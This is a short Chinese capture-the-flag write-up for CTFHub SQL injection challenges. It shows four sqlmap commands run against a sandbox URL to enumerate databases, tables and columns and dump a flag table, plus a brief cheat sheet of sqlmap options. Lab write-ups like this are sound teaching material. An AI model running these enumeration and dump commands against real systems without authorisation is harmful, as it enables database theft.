时间盲注
若要是使用手动的时间盲注,很麻烦。
我们使用工具sqlmap
第一步,判断数据库名称
>python sqlmap.py -u http://challenge-04a2f565db4fc01b.sandbox.ctfhub.com:10800/?id=1 --dbs --batch
我们得知数据库名为sqli
第二步,判断库中表名
python sqlmap.py -u http://challenge-04a2f565db4fc01b.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables --batch
我们查看到有一个表名为flag和news
第三步,判断表中字段
python sqlmap.py -u http://challenge-04a2f565db4fc01b.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns --batch
第四步,查看flag字段的具体内容
python sqlmap.py -u http://challenge-04a2f565db4fc01b.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump-all --batch
如此,我们就知道了flag
MYSQL数据库
我们也使用sqlmap工具,步骤和上面差不多,就是表名和字段名不一样
sqlmap的使用方法
python sqlmap.py -u "目标url" --batch
-batch:sqlmap帮你判断选择yes或no
-dbs:查看数据库
-tables:查看表名
-columns:查看字段名
-dump:查看字段中的具体内容
-dump-all:查看字段中所有内容
注意:我们在使用前要先判断是字符型注入还是数字型注入。